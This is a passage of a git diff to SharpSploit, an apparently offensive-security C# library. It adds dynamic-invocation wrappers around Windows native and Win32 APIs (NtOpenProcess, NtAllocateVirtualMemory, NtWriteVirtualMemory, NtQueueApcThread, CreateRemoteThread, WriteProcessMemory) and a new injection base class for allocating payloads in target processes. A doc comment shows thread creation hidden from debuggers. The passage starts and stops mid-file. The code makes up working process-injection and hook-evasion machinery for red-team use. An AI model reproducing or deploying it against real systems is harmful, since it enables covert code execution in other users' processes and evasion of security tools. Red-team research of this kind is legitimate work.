Marshal.AllocHGlobal(IntPtr.Size); + RtlZeroMemory(pProcInfo, IntPtr.Size); + processInformationLength = IntPtr.Size; + break; + case Execute.Native.PROCESSINFOCLASS.ProcessBasicInformation: + Execute.Native.PROCESS_BASIC_INFORMATION PBI = new Execute.Native.PROCESS_BASIC_INFORMATION(); + pProcInfo = Marshal.AllocHGlobal(Marshal.SizeOf(PBI)); + RtlZeroMemory(pProcInfo, Marshal.SizeOf(PBI)); + Marshal.StructureToPtr(PBI, pProcInfo, true); + processInformationLength = Marshal.SizeOf(PBI); + break; + default: + throw new InvalidOperationException($"Invalid ProcessInfoClass: {processInfoClass}"); + } + + object[] funcargs = + { + hProcess, processInfoClass, pProcInfo, processInformationLength, RetLen + }; + + Execute.Native.NTSTATUS retValue = (Execute.Native.NTSTATUS)Generic.DynamicAPIInvoke(@"ntdll.dll", @"NtQueryInformationProcess", typeof(DELEGATES.NtQueryInformationProcess), ref funcargs); + if (retValue != Execute.Native.NTSTATUS.Success) + { + throw new UnauthorizedAccessException("Access is denied."); + } + + // Update the modified variables + pProcInfo = (IntPtr)funcargs[2]; + + return retValue; + } + + public static bool NtQueryInformationProcessWow64Information(IntPtr hProcess) + { + Execute.Native.NTSTATUS retValue = NtQueryInformationProcess(hProcess, Execute.Native.PROCESSINFOCLASS.ProcessWow64Information, out IntPtr pProcInfo); + if (retValue != Execute.Native.NTSTATUS.Success) + { + throw new UnauthorizedAccessException("Access is denied."); + } + + if (Marshal.ReadIntPtr(pProcInfo) == IntPtr.Zero) + { + return false; + } + return true; + } + + public static Execute.Native.PROCESS_BASIC_INFORMATION NtQueryInformationProcessBasicInformation(IntPtr hProcess) + { + Execute.Native.NTSTATUS retValue = NtQueryInformationProcess(hProcess, Execute.Native.PROCESSINFOCLASS.ProcessBasicInformation, out IntPtr pProcInfo); + if (retValue != Execute.Native.NTSTATUS.Success) + { + throw new UnauthorizedAccessException("Access is denied."); + } + + return (Execute.Native.PROCESS_BASIC_INFORMATION)Marshal.PtrToStructure(pProcInfo, typeof(Execute.Native.PROCESS_BASIC_INFORMATION)); + } + + public static IntPtr NtOpenProcess(UInt32 ProcessId, Execute.Win32.Kernel32.ProcessAccessFlags DesiredAccess) + { + // Create OBJECT_ATTRIBUTES & CLIENT_ID ref's + IntPtr ProcessHandle = IntPtr.Zero; + Execute.Native.OBJECT_ATTRIBUTES oa = new Execute.Native.OBJECT_ATTRIBUTES(); + Execute.Native.CLIENT_ID ci = new Execute.Native.CLIENT_ID(); + ci.UniqueProcess = (IntPtr)ProcessId; + + // Craft an array for the arguments + object[] funcargs = + { + ProcessHandle, DesiredAccess, oa, ci + }; + + Execute.Native.NTSTATUS retValue = (Execute.Native.NTSTATUS)Generic.DynamicAPIInvoke(@"ntdll.dll", @"NtOpenProcess", typeof(DELEGATES.NtOpenProcess), ref funcargs); + if (retValue != Execute.Native.NTSTATUS.Success && retValue == Execute.Native.NTSTATUS.InvalidCid) + { + throw new InvalidOperationException("An invalid client ID was specified."); + } + if (retValue != Execute.Native.NTSTATUS.Success) + { + throw new UnauthorizedAccessException("Access is denied."); + } + + // Update the modified variables + ProcessHandle = (IntPtr)funcargs[0]; + + return ProcessHandle; + } + + public static void NtQueueApcThread(IntPtr ThreadHandle, IntPtr ApcRoutine, IntPtr ApcArgument1, IntPtr ApcArgument2, IntPtr ApcArgument3) + { + // Craft an array for the arguments + object[] funcargs = + { + ThreadHandle, ApcRoutine, ApcArgument1, ApcArgument2, ApcArgument3 + }; + + Execute.Native.NTSTATUS retValue = (Execute.Native.NTSTATUS)Generic.DynamicAPIInvoke(@"ntdll.dll", @"NtQueueApcThread", typeof(DELEGATES.NtQueueApcThread), ref funcargs); + if (retValue != Execute.Native.NTSTATUS.Success) + { + throw new InvalidOperationException("Unable to queue APC, " + retValue); + } + } + + public static IntPtr NtOpenThread(int TID, Execute.Win32.Kernel32.ThreadAccess DesiredAccess) + { + // Create OBJECT_ATTRIBUTES & CLIENT_ID ref's + IntPtr ThreadHandle = IntPtr.Zero; + Execute.Native.OBJECT_ATTRIBUTES oa = new Execute.Native.OBJECT_ATTRIBUTES(); + Execute.Native.CLIENT_ID ci = new Execute.Native.CLIENT_ID(); + ci.UniqueThread = (IntPtr)TID; + + // Craft an array for the arguments + object[] funcargs = + { + ThreadHandle, DesiredAccess, oa, ci + }; + + Execute.Native.NTSTATUS retValue = (Execute.Native.NTSTATUS)Generic.DynamicAPIInvoke(@"ntdll.dll", @"NtOpenThread", typeof(DELEGATES.NtOpenProcess), ref funcargs); + if (retValue != Execute.Native.NTSTATUS.Success && retValue == Execute.Native.NTSTATUS.InvalidCid) + { + throw new InvalidOperationException("An invalid client ID was specified."); + } + if (retValue != Execute.Native.NTSTATUS.Success) + { + throw new UnauthorizedAccessException("Access is denied."); + } + + // Update the modified variables + ThreadHandle = (IntPtr)funcargs[0]; + + return ThreadHandle; + } + + public static IntPtr NtAllocateVirtualMemory(IntPtr ProcessHandle, ref IntPtr BaseAddress, IntPtr ZeroBits, ref IntPtr RegionSize, Execute.Win32.Kernel32.AllocationType AllocationType, UInt32 Protect) + { + // Craft an array for the arguments + object[] funcargs = + { + ProcessHandle, BaseAddress, ZeroBits, RegionSize, AllocationType, Protect + }; + + Execute.Native.NTSTATUS retValue = (Execute.Native.NTSTATUS)Generic.DynamicAPIInvoke(@"ntdll.dll", @"NtAllocateVirtualMemory", typeof(DELEGATES.NtAllocateVirtualMemory), ref funcargs); + if (retValue == Execute.Native.NTSTATUS.AccessDenied) + { + // STATUS_ACCESS_DENIED + throw new UnauthorizedAccessException("Access is denied."); + } + if (retValue == Execute.Native.NTSTATUS.AlreadyCommitted) + { + // STATUS_ALREADY_COMMITTED + throw new InvalidOperationException("The specified address range is already committed."); + } + if (retValue == Execute.Native.NTSTATUS.CommitmentLimit) + { + // STATUS_COMMITMENT_LIMIT + throw new InvalidOperationException("Your system is low on virtual memory."); + } + if (retValue == Execute.Native.NTSTATUS.ConflictingAddresses) + { + // STATUS_CONFLICTING_ADDRESSES + throw new InvalidOperationException("The specified address range conflicts with the address space."); + } + if (retValue == Execute.Native.NTSTATUS.InsufficientResources) + { + // STATUS_INSUFFICIENT_RESOURCES + throw new InvalidOperationException("Insufficient system resources exist to complete the API call."); + } + if (retValue == Execute.Native.NTSTATUS.InvalidHandle) + { + // STATUS_INVALID_HANDLE + throw new InvalidOperationException("An invalid HANDLE was specified."); + } + if (retValue == Execute.Native.NTSTATUS.InvalidPageProtection) + { + // STATUS_INVALID_PAGE_PROTECTION + throw new InvalidOperationException("The specified page protection was not valid."); + } + if (retValue == Execute.Native.NTSTATUS.NoMemory) + { + // STATUS_NO_MEMORY + throw new InvalidOperationException("Not enough virtual memory or paging file quota is available to complete the specified operation."); + } + if (retValue == Execute.Native.NTSTATUS.ObjectTypeMismatch) + { + // STATUS_OBJECT_TYPE_MISMATCH + throw new InvalidOperationException("There is a mismatch between the type of object that is required by the requested operation and the type of object that is specified in the request."); + } + if (retValue != Execute.Native.NTSTATUS.Success) + { + // STATUS_PROCESS_IS_TERMINATING == 0xC000010A + throw new InvalidOperationException("An attempt was made to duplicate an object handle into or out of an exiting process."); + } + + BaseAddress = (IntPtr)funcargs[1]; + return BaseAddress; + } + + public static void NtFreeVirtualMemory(IntPtr ProcessHandle, ref IntPtr BaseAddress, ref IntPtr RegionSize, Execute.Win32.Kernel32.AllocationType FreeType) + { + // Craft an array for the arguments + object[] funcargs = + { + ProcessHandle, BaseAddress, RegionSize, FreeType + }; + + Execute.Native.NTSTATUS retValue = (Execute.Native.NTSTATUS)Generic.DynamicAPIInvoke(@"ntdll.dll", @"NtFreeVirtualMemory", typeof(DELEGATES.NtFreeVirtualMemory), ref funcargs); + if (retValue == Execute.Native.NTSTATUS.AccessDenied) + { + // STATUS_ACCESS_DENIED + throw new UnauthorizedAccessException("Access is denied."); + } + if (retValue == Execute.Native.NTSTATUS.InvalidHandle) + { + // STATUS_INVALID_HANDLE + throw new InvalidOperationException("An invalid HANDLE was specified."); + } + if (retValue != Execute.Native.NTSTATUS.Success) + { + // STATUS_OBJECT_TYPE_MISMATCH == 0xC0000024 + throw new InvalidOperationException("There is a mismatch between the type of object that is required by the requested operation and the type of object that is specified in the request."); + } + } + + public static string GetFilenameFromMemoryPointer(IntPtr hProc, IntPtr pMem) + { + // Alloc buffer for result struct + IntPtr pBase = IntPtr.Zero; + IntPtr RegionSize = (IntPtr)0x500; + IntPtr pAlloc = NtAllocateVirtualMemory(hProc, ref pBase, IntPtr.Zero, ref RegionSize, Execute.Win32.Kernel32.AllocationType.Commit | Execute.Win32.Kernel32.AllocationType.Reserve, Execute.Win32.WinNT.PAGE_READWRITE); + + // Prepare NtQueryVirtualMemory parameters + Execute.Native.MEMORYINFOCLASS memoryInfoClass = Execute.Native.MEMORYINFOCLASS.MemorySectionName; + UInt32 MemoryInformationLength = 0x500; + UInt32 Retlen = 0; + + // Craft an array for the arguments + object[] funcargs = + { + hProc, pMem, memoryInfoClass, pAlloc, MemoryInformationLength, Retlen + }; + + Execute.Native.NTSTATUS retValue = (Execute.Native.NTSTATUS)Generic.DynamicAPIInvoke(@"ntdll.dll", @"NtQueryVirtualMemory", typeof(DELEGATES.NtQueryVirtualMemory), ref funcargs); + + string FilePath = string.Empty; + if (retValue == Execute.Native.NTSTATUS.Success) + { + Execute.Native.UNICODE_STRING sn = (Execute.Native.UNICODE_STRING)Marshal.PtrToStructure(pAlloc, typeof(Execute.Native.UNICODE_STRING)); + FilePath = Marshal.PtrToStringUni(sn.Buffer); + } + + // Free allocation + NtFreeVirtualMemory(hProc, ref pAlloc, ref RegionSize, Execute.Win32.Kernel32.AllocationType.Reserve); + if (retValue == Execute.Native.NTSTATUS.AccessDenied) + { + // STATUS_ACCESS_DENIED + throw new UnauthorizedAccessException("Access is denied."); + } + if (retValue == Execute.Native.NTSTATUS.AccessViolation) + { + // STATUS_ACCESS_VIOLATION + throw new InvalidOperationException("The specified base address is an invalid virtual address."); + } + if (retValue == Execute.Native.NTSTATUS.InfoLengthMismatch) + { + // STATUS_INFO_LENGTH_MISMATCH + throw new InvalidOperationException("The MemoryInformation buffer is larger than MemoryInformationLength."); + } + if (retValue == Execute.Native.NTSTATUS.InvalidParameter) + { + // STATUS_INVALID_PARAMETER + throw new InvalidOperationException("The specified base address is outside the range of accessible addresses."); + } + return FilePath; + } + + public static UInt32 NtProtectVirtualMemory(IntPtr ProcessHandle, ref IntPtr BaseAddress, ref IntPtr RegionSize, UInt32 NewProtect) + { + // Craft an array for the arguments + UInt32 OldProtect = 0; + object[] funcargs = + { + ProcessHandle, BaseAddress, RegionSize, NewProtect, OldProtect + }; + + Execute.Native.NTSTATUS retValue = (Execute.Native.NTSTATUS)Generic.DynamicAPIInvoke(@"ntdll.dll", @"NtProtectVirtualMemory", typeof(DELEGATES.NtProtectVirtualMemory), ref funcargs); + if (retValue != Execute.Native.NTSTATUS.Success) + { + throw new InvalidOperationException("Failed to change memory protection, " + retValue); + } + + OldProtect = (UInt32)funcargs[4]; + return OldProtect; + } + + public static UInt32 NtWriteVirtualMemory(IntPtr ProcessHandle, IntPtr BaseAddress, IntPtr Buffer, UInt32 BufferLength) + { + // Craft an array for the arguments + UInt32 BytesWritten = 0; + object[] funcargs = + { + ProcessHandle, BaseAddress, Buffer, BufferLength, BytesWritten + }; + + Execute.Native.NTSTATUS retValue = (Execute.Native.NTSTATUS)Generic.DynamicAPIInvoke(@"ntdll.dll", @"NtWriteVirtualMemory", typeof(DELEGATES.NtWriteVirtualMemory), ref funcargs); + if (retValue != Execute.Native.NTSTATUS.Success) + { + throw new InvalidOperationException("Failed to write memory, " + retValue); + } + + BytesWritten = (UInt32)funcargs[4]; + return BytesWritten; + } + + public static IntPtr LdrGetProcedureAddress(IntPtr hModule, IntPtr FunctionName, IntPtr Ordinal, ref IntPtr FunctionAddress) + { + // Craft an array for the arguments + object[] funcargs = + { + hModule, FunctionName, Ordinal, FunctionAddress + }; + + Execute.Native.NTSTATUS retValue = (Execute.Native.NTSTATUS)Generic.DynamicAPIInvoke(@"ntdll.dll", @"LdrGetProcedureAddress", typeof(DELEGATES.LdrGetProcedureAddress), ref funcargs); + if (retValue != Execute.Native.NTSTATUS.Success) + { + throw new InvalidOperationException("Failed get procedure address, " + retValue); + } + + FunctionAddress = (IntPtr)funcargs[3]; + return FunctionAddress; + } + + public static void RtlGetVersion(ref Execute.Native.OSVERSIONINFOEX VersionInformation) + { + // Craft an array for the arguments + object[] funcargs = + { + VersionInformation + }; + + Execute.Native.NTSTATUS retValue = (Execute.Native.NTSTATUS)Generic.DynamicAPIInvoke(@"ntdll.dll", @"RtlGetVersion", typeof(DELEGATES.RtlGetVersion), ref funcargs); + if (retValue != Execute.Native.NTSTATUS.Success) + { + throw new InvalidOperationException("Failed get procedure address, " + retValue); + } + + VersionInformation = (Execute.Native.OSVERSIONINFOEX)funcargs[0]; + } + + public static UInt32 NtReadVirtualMemory(IntPtr ProcessHandle, IntPtr BaseAddress, IntPtr Buffer, ref UInt32 NumberOfBytesToRead) + { + // Craft an array for the arguments + UInt32 NumberOfBytesRead = 0; + object[] funcargs = + { + ProcessHandle, BaseAddress, Buffer, NumberOfBytesToRead, NumberOfBytesRead + }; + + Execute.Native.NTSTATUS retValue = (Execute.Native.NTSTATUS)Generic.DynamicAPIInvoke(@"ntdll.dll", @"NtReadVirtualMemory", typeof(DELEGATES.NtReadVirtualMemory), ref funcargs); + if (retValue != Execute.Native.NTSTATUS.Success) + { + throw new InvalidOperationException("Failed to read memory, " + retValue); + } + + NumberOfBytesRead = (UInt32)funcargs[4]; + return NumberOfBytesRead; + } + + public static IntPtr NtOpenFile(ref IntPtr FileHandle, Execute.Win32.Kernel32.FileAccessFlags DesiredAccess, ref Execute.Native.OBJECT_ATTRIBUTES ObjAttr, ref Execute.Native.IO_STATUS_BLOCK IoStatusBlock, Execute.Win32.Kernel32.FileShareFlags ShareAccess, Execute.Win32.Kernel32.FileOpenFlags OpenOptions) + { + // Craft an array for the arguments + object[] funcargs = + { + FileHandle, DesiredAccess, ObjAttr, IoStatusBlock, ShareAccess, OpenOptions + }; + + Execute.Native.NTSTATUS retValue = (Execute.Native.NTSTATUS)Generic.DynamicAPIInvoke(@"ntdll.dll", @"NtOpenFile", typeof(DELEGATES.NtOpenFile), ref funcargs); + if (retValue != Execute.Native.NTSTATUS.Success) + { + throw new InvalidOperationException("Failed to open file, " + retValue); + } + + + FileHandle = (IntPtr)funcargs[0]; + return FileHandle; + } + /// /// Holds delegates for API calls in the NT Layer. /// Must be public so that they may be used with SharpSploit.Execution.DynamicInvoke.Generic.DynamicFunctionInvoke @@ -146,20 +599,41 @@ public static Execution.Win32.NtDll.NTSTATUS LdrLoadDll(IntPtr PathToFile, UInt3 /// pFunction, typeof(NATIVE_DELEGATES.NtCreateThreadEx)); /// /// // Invoke NtCreateThreadEx using the delegate - /// createThread(ref threadHandle, Execution.Win32.WinNT.ACCESS_MASK.SPECIFIC_RIGHTS_ALL | Execution.Win32.WinNT.ACCESS_MASK.STANDARD_RIGHTS_ALL, IntPtr.Zero, - /// procHandle, startAddress, IntPtr.Zero, Execution.Win32.NtDll.NT_CREATION_FLAGS.HIDE_FROM_DEBUGGER, 0, 0, 0, IntPtr.Zero); + /// createThread(ref threadHandle, Execute.Win32.WinNT.ACCESS_MASK.SPECIFIC_RIGHTS_ALL | Execute.Win32.WinNT.ACCESS_MASK.STANDARD_RIGHTS_ALL, IntPtr.Zero, + /// procHandle, startAddress, IntPtr.Zero, Execute.Native.NT_CREATION_FLAGS.HIDE_FROM_DEBUGGER, 0, 0, 0, IntPtr.Zero); /// /// public struct DELEGATES { [UnmanagedFunctionPointer(CallingConvention.StdCall)] - public delegate Execution.Win32.NtDll.NTSTATUS NtCreateThreadEx(out IntPtr threadHandle, Execution.Win32.WinNT.ACCESS_MASK desiredAccess, - IntPtr objectAttributes, IntPtr processHandle, IntPtr startAddress, IntPtr parameter, - bool createSuspended, int stackZeroBits, int sizeOfStack, int maximumStackSize, + public delegate Execute.Native.NTSTATUS NtCreateThreadEx( + out IntPtr threadHandle, + Execute.Win32.WinNT.ACCESS_MASK desiredAccess, + IntPtr objectAttributes, + IntPtr processHandle, + IntPtr startAddress, + IntPtr parameter, + bool createSuspended, + int stackZeroBits, + int sizeOfStack, + int maximumStackSize, IntPtr attributeList); [UnmanagedFunctionPointer(CallingConvention.StdCall)] - public delegate Execution.Win32.NtDll.NTSTATUS NtCreateSection( + public delegate Execute.Native.NTSTATUS RtlCreateUserThread( + IntPtr Process, + IntPtr ThreadSecurityDescriptor, + bool CreateSuspended, + IntPtr ZeroBits, + IntPtr MaximumStackSize, + IntPtr CommittedStackSize, + IntPtr StartAddress, + IntPtr Parameter, + ref IntPtr Thread, + IntPtr ClientId); + + [UnmanagedFunctionPointer(CallingConvention.StdCall)] + public delegate Execute.Native.NTSTATUS NtCreateSection( ref IntPtr SectionHandle, uint DesiredAccess, IntPtr ObjectAttributes, @@ -169,17 +643,19 @@ public delegate Execution.Win32.NtDll.NTSTATUS NtCreateSection( IntPtr FileHandle); [UnmanagedFunctionPointer(CallingConvention.StdCall)] - public delegate Execution.Win32.NtDll.NTSTATUS NtUnmapViewOfSection(IntPtr hProc, IntPtr baseAddr); + public delegate Execute.Native.NTSTATUS NtUnmapViewOfSection( + IntPtr hProc, + IntPtr baseAddr); [UnmanagedFunctionPointer(CallingConvention.StdCall)] - public delegate Execution.Win32.NtDll.NTSTATUS NtMapViewOfSection( + public delegate Execute.Native.NTSTATUS NtMapViewOfSection( IntPtr SectionHandle, IntPtr ProcessHandle, out IntPtr BaseAddress, IntPtr ZeroBits, IntPtr CommitSize, IntPtr SectionOffset, - out uint ViewSize, + out ulong ViewSize, uint InheritDisposition, uint AllocationType, uint Win32Protect); @@ -188,14 +664,124 @@ public delegate Execution.Win32.NtDll.NTSTATUS NtMapViewOfSection( public delegate UInt32 LdrLoadDll( IntPtr PathToFile, UInt32 dwFlags, - ref Execution.Win32.NtDll.UNICODE_STRING ModuleFileName, + ref Execute.Native.UNICODE_STRING ModuleFileName, ref IntPtr ModuleHandle); [UnmanagedFunctionPointer(CallingConvention.StdCall)] public delegate void RtlInitUnicodeString( - ref Execution.Win32.NtDll.UNICODE_STRING DestinationString, + ref Execute.Native.UNICODE_STRING DestinationString, [MarshalAs(UnmanagedType.LPWStr)] string SourceString); + + [UnmanagedFunctionPointer(CallingConvention.StdCall)] + public delegate void RtlZeroMemory( + IntPtr Destination, + int length); + + [UnmanagedFunctionPointer(CallingConvention.StdCall)] + public delegate UInt32 NtQueryInformationProcess( + IntPtr processHandle, + Execute.Native.PROCESSINFOCLASS processInformationClass, + IntPtr processInformation, + int processInformationLength, + ref UInt32 returnLength); + + [UnmanagedFunctionPointer(CallingConvention.StdCall)] + public delegate UInt32 NtOpenProcess( + ref IntPtr ProcessHandle, + Execute.Win32.Kernel32.ProcessAccessFlags DesiredAccess, + ref Execute.Native.OBJECT_ATTRIBUTES ObjectAttributes, + ref Execute.Native.CLIENT_ID ClientId); + + [UnmanagedFunctionPointer(CallingConvention.StdCall)] + public delegate UInt32 NtQueueApcThread( + IntPtr ThreadHandle, + IntPtr ApcRoutine, + IntPtr ApcArgument1, + IntPtr ApcArgument2, + IntPtr ApcArgument3); + + [UnmanagedFunctionPointer(CallingConvention.StdCall)] + public delegate UInt32 NtOpenThread( + ref IntPtr ThreadHandle, + Execute.Win32.Kernel32.ThreadAccess DesiredAccess, + ref Execute.Native.OBJECT_ATTRIBUTES ObjectAttributes, + ref Execute.Native.CLIENT_ID ClientId); + + [UnmanagedFunctionPointer(CallingConvention.StdCall)] + public delegate UInt32 NtAllocateVirtualMemory( + IntPtr ProcessHandle, + ref IntPtr BaseAddress, + IntPtr ZeroBits, + ref IntPtr RegionSize, + Execute.Win32.Kernel32.AllocationType AllocationType, + UInt32 Protect); + + [UnmanagedFunctionPointer(CallingConvention.StdCall)] + public delegate UInt32 NtFreeVirtualMemory( + IntPtr ProcessHandle, + ref IntPtr BaseAddress, + ref IntPtr RegionSize, + Execute.Win32.Kernel32.AllocationType FreeType); + + [UnmanagedFunctionPointer(CallingConvention.StdCall)] + public delegate UInt32 NtQueryVirtualMemory( + IntPtr ProcessHandle, + IntPtr BaseAddress, + Execute.Native.MEMORYINFOCLASS MemoryInformationClass, + IntPtr MemoryInformation, + UInt32 MemoryInformationLength, + ref UInt32 ReturnLength); + + [UnmanagedFunctionPointer(CallingConvention.StdCall)] + public delegate UInt32 NtProtectVirtualMemory( + IntPtr ProcessHandle, + ref IntPtr BaseAddress, + ref IntPtr RegionSize, + UInt32 NewProtect, + ref UInt32 OldProtect); + + [UnmanagedFunctionPointer(CallingConvention.StdCall)] + public delegate UInt32 NtWriteVirtualMemory( + IntPtr ProcessHandle, + IntPtr BaseAddress, + IntPtr Buffer, + UInt32 BufferLength, + ref UInt32 BytesWritten); + + [UnmanagedFunctionPointer(CallingConvention.StdCall)] + public delegate UInt32 RtlUnicodeStringToAnsiString( + ref Execute.Native.ANSI_STRING DestinationString, + ref Execute.Native.UNICODE_STRING SourceString, + bool AllocateDestinationString); + + [UnmanagedFunctionPointer(CallingConvention.StdCall)] + public delegate UInt32 LdrGetProcedureAddress( + IntPtr hModule, + IntPtr FunctionName, + IntPtr Ordinal, + ref IntPtr FunctionAddress); + + [UnmanagedFunctionPointer(CallingConvention.StdCall)] + public delegate UInt32 RtlGetVersion( + ref Execution.Native.OSVERSIONINFOEX VersionInformation); + + [UnmanagedFunctionPointer(CallingConvention.StdCall)] + public delegate UInt32 NtReadVirtualMemory( + IntPtr ProcessHandle, + IntPtr BaseAddress, + IntPtr Buffer, + UInt32 NumberOfBytesToRead, + ref UInt32 NumberOfBytesRead); + + [UnmanagedFunctionPointer(CallingConvention.StdCall)] + public delegate UInt32 NtOpenFile( + ref IntPtr FileHandle, + Execute.Win32.Kernel32.FileAccessFlags DesiredAccess, + ref Execute.Native.OBJECT_ATTRIBUTES ObjAttr, + ref Execute.Native.IO_STATUS_BLOCK IoStatusBlock, + Execute.Win32.Kernel32.FileShareFlags ShareAccess, + Execute.Win32.Kernel32.FileOpenFlags OpenOptions); } } } diff --git a/SharpSploit/Execution/DynamicInvoke/Win32.cs b/SharpSploit/Execution/DynamicInvoke/Win32.cs index d5272ce..a19cd26 100644 --- a/SharpSploit/Execution/DynamicInvoke/Win32.cs +++ b/SharpSploit/Execution/DynamicInvoke/Win32.cs @@ -5,12 +5,14 @@ using System; using System.Runtime.InteropServices; +using Execute = SharpSploit.Execution; + namespace SharpSploit.Execution.DynamicInvoke { /// /// Contains function prototypes and wrapper functions for dynamically invoking Win32 API Calls. /// - public class Win32 + public static class Win32 { /// /// Uses DynamicInvocation to call the OpenProcess Win32 API. https://docs.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-openprocess @@ -20,9 +22,9 @@ public class Win32 /// /// /// - public static IntPtr OpenProcess(Execution.Win32.Kernel32.ProcessAccessFlags dwDesiredAccess, bool bInheritHandle, UInt32 dwProcessId) + public static IntPtr OpenProcess(Execute.Win32.Kernel32.ProcessAccessFlags dwDesiredAccess, bool bInheritHandle, UInt32 dwProcessId) { - //Craft an array for the arguments + // Craft an array for the arguments object[] funcargs = { dwDesiredAccess, bInheritHandle, dwProcessId @@ -32,11 +34,35 @@ public static IntPtr OpenProcess(Execution.Win32.Kernel32.ProcessAccessFlags dwD typeof(Delegates.OpenProcess), ref funcargs); } + public static IntPtr CreateRemoteThread( + IntPtr hProcess, + IntPtr lpThreadAttributes, + uint dwStackSize, + IntPtr lpStartAddress, + IntPtr lpParameter, + uint dwCreationFlags, + ref IntPtr lpThreadId) + { + // Craft an array for the arguments + object[] funcargs = + { + hProcess, lpThreadAttributes, dwStackSize, lpStartAddress, lpParameter, dwCreationFlags, lpThreadId + }; + + IntPtr retValue = (IntPtr)Generic.DynamicAPIInvoke(@"kernel32.dll", @"CreateRemoteThread", + typeof(Delegates.CreateRemoteThread), ref funcargs); + + // Update the modified variables + lpThreadId = (IntPtr)funcargs[6]; + + return retValue; + } + /// /// Uses DynamicInvocation to call the IsWow64Process Win32 API. https://docs.microsoft.com/en-us/windows/win32/api/wow64apiset/nf-wow64apiset-iswow64process /// /// Returns true if process is WOW64, and false if not (64-bit, or 32-bit on a 32-bit machine). - public static bool IsWow64Process(System.IntPtr hProcess, ref bool lpSystemInfo) + public static bool IsWow64Process(IntPtr hProcess, ref bool lpSystemInfo) { // Build the set of parameters to pass in to IsWow64Process @@ -45,8 +71,7 @@ public static bool IsWow64Process(System.IntPtr hProcess, ref bool lpSystemInfo) hProcess, lpSystemInfo }; - bool retVal = (bool)SharpSploit.Execution.DynamicInvoke.Generic.DynamicAPIInvoke( - @"kernel32.dll", @"IsWow64Process", typeof(Delegates.IsWow64Process), ref funcargs); + bool retVal = (bool)Generic.DynamicAPIInvoke(@"kernel32.dll", @"IsWow64Process", typeof(Delegates.IsWow64Process), ref funcargs); lpSystemInfo = (bool) funcargs[1]; @@ -54,18 +79,95 @@ public static bool IsWow64Process(System.IntPtr hProcess, ref bool lpSystemInfo) return retVal; } - private static class Delegates + /// + /// Uses DynamicInvocation to call the VirtualAllocEx Win32 API. https://docs.microsoft.com/en-us/windows/win32/api/memoryapi/nf-memoryapi-virtualallocex + /// + /// Returns the base address of allocated region if successful, otherwise return NULL. + public static IntPtr VirtualAllocEx( + IntPtr hProcess, + IntPtr lpAddress, + uint dwSize, + Execute.Win32.Kernel32.AllocationType flAllocationType, + Execute.Win32.Kernel32.MemoryProtection flProtect) + { + // Craft an array for the arguments + object[] funcargs = + { + hProcess, lpAddress, dwSize, flAllocationType, flProtect + }; + + IntPtr retValue = (IntPtr)Generic.DynamicAPIInvoke(@"kernel32.dll", @"VirtualAllocEx", + typeof(Delegates.VirtualAllocEx), ref funcargs); + + return retValue; + + } + + /// + /// Uses DynamicInvocation to call the WriteProcessMemory Win32 API. https://docs.microsoft.com/en-us/windows/win32/api/memoryapi/nf-memoryapi-writeprocessmemory + /// + /// Returns true if process memory was written successfully, otherwise return false. + public static bool WriteProcessMemory( + IntPtr hProcess, + IntPtr lpBaseAddress, + byte[] lpBuffer, + Int32 nSize, + out IntPtr lpNumberOfBytesWritten) + { + // Craft an array for the arguments + object[] funcargs = + { + hProcess, lpBaseAddress, lpBuffer, nSize, IntPtr.Zero + }; + + bool retValue = (bool)Generic.DynamicAPIInvoke(@"kernel32.dll", @"WriteProcessMemory", + typeof(Delegates.WriteProcessMemory), ref funcargs); + + // Update bytes written + lpNumberOfBytesWritten = (IntPtr)funcargs[4]; + + return retValue; + } + + public static class Delegates { + [UnmanagedFunctionPointer(CallingConvention.StdCall)] + public delegate IntPtr CreateRemoteThread(IntPtr hProcess, + IntPtr lpThreadAttributes, + uint dwStackSize, + IntPtr lpStartAddress, + IntPtr lpParameter, + uint dwCreationFlags, + out IntPtr lpThreadId); + [UnmanagedFunctionPointer(CallingConvention.Cdecl)] public delegate IntPtr OpenProcess( - Execution.Win32.Kernel32.ProcessAccessFlags dwDesiredAccess, + Execute.Win32.Kernel32.ProcessAccessFlags dwDesiredAccess, bool bInheritHandle, UInt32 dwProcessId ); + [UnmanagedFunctionPointer(CallingConvention.StdCall)] + public delegate IntPtr VirtualAllocEx( + IntPtr hProcess, + IntPtr lpAddress, + uint dwSize, + Execute.Win32.Kernel32.AllocationType flAllocationType, + Execute.Win32.Kernel32.MemoryProtection flProtect + ); + + [UnmanagedFunctionPointer(CallingConvention.StdCall)] + public delegate bool WriteProcessMemory( + IntPtr hProcess, + IntPtr lpBaseAddress, + byte[] lpBuffer, + Int32 nSize, + out IntPtr lpNumberOfBytesWritten + ); + [UnmanagedFunctionPointer(CallingConvention.StdCall)] public delegate bool IsWow64Process( - System.IntPtr hProcess, ref bool lpSystemInfo + IntPtr hProcess, ref bool lpSystemInfo ); } } diff --git a/SharpSploit/Execution/Injection/AllocationTechnique.cs b/SharpSploit/Execution/Injection/AllocationTechnique.cs new file mode 100644 index 0000000..239ec56 --- /dev/null +++ b/SharpSploit/Execution/Injection/AllocationTechnique.cs @@ -0,0 +1,104 @@ +using System; +using System.Reflection; +using System.Diagnostics; + +namespace SharpSploit.Execution.Injection +{ + /// + /// Base class for allocation techniques. + /// + public abstract class AllocationTechnique + { + // An array containing a set of PayloadType objects that are supported. + protected Type[] supportedPayloads; + + /// + /// Informs objects using this technique whether or not it supports the type of a particular payload. + /// + /// The Wover (@TheRealWover) + /// A payload. + /// Whether or not the payload is of a supported type for this strategy. + public abstract bool IsSupportedPayloadType(PayloadType Payload); + + /// + /// Internal method for setting the supported payload types. Used in constructors. + /// + /// The Wover (@TheRealWover) + internal abstract void DefineSupportedPayloadTypes(); + + /// + /// Allocate the payload to the target process at a specified address. + /// + /// The Wover (@TheRealWover) + /// The payload to allocate to the target process. + /// The target process. + /// The address at which to allocate the payload in the target process. + /// True when allocation was successful. Otherwise, throws relevant exceptions. + public virtual IntPtr Allocate(PayloadType Payload, Process Process, IntPtr Address) + { + Type[] funcPrototype = new Type[] { Payload.GetType(), typeof(Process), Address.GetType() }; + + try + { + // Get delegate to the overload of Allocate that supports the type of payload passed in + MethodInfo allocate = this.GetType().GetMethod("Allocate", funcPrototype); + + // Dynamically invoke the appropriate Allocate overload + return (IntPtr)allocate.Invoke(this, new object[] { Payload, Process, Address }); + } + // If there is no such method + catch (ArgumentNullException) + { + throw new PayloadTypeNotSupported(Payload.GetType()); + } + } + + /// + /// Allocate the payload to the target process. + /// + /// The Wover (@TheRealWover) + /// The payload to allocate to the target process. + /// The target process. + /// Base address of allocated memory within the target process's virtual memory space. + public virtual IntPtr Allocate(PayloadType Payload, 